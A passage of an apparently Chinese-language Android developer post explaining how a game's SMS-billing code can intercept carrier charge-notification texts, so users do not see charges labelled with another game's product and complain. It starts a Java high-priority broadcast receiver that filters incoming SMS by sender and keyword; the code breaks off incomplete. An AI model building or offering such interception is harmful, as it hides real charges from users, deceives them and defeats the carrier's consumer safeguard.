项目需求介绍:
由于我们在短代支付中需要通过运营商的途径扣费,而扣费后运营商会给用户发送扣费短信,但是!!由于不同的游戏需要使用同一款短代支付代码(运营商有控制,不会很多,很多游戏只能使用其他游戏的短代代码)的东西,所以,我们需要拦截这个不符合游戏产品的短信,防止用户大量投诉!
项目解决思路:
为了用户安全性的提高,谷歌在短信上也做了安全工作!所以就需要不同的方式拦截短信!
方案1:
适用场景:4.4以下Android系统
通过设置高优先级的广播来处理,在短信广播发送过来时,我们通过查看短信的内容,
判断我们是否要拦截短信:
/**
* 开始拦截短信
*
* @param context 上下文对象
* @param address 拦截特定地址的短信
* @param keyWord 拦截特定关键字的短信
*/
public static void interceptSMS(final Contextcontext, final String address, final String keyWord) {
broadcastReceiver= new BroadcastReceiver() {
@Override
public void onReceive(Context context, Intent intent) {
//第一步、获取短信的内容和发件人
StringBuilderbody = new StringBuilder();// 短信内容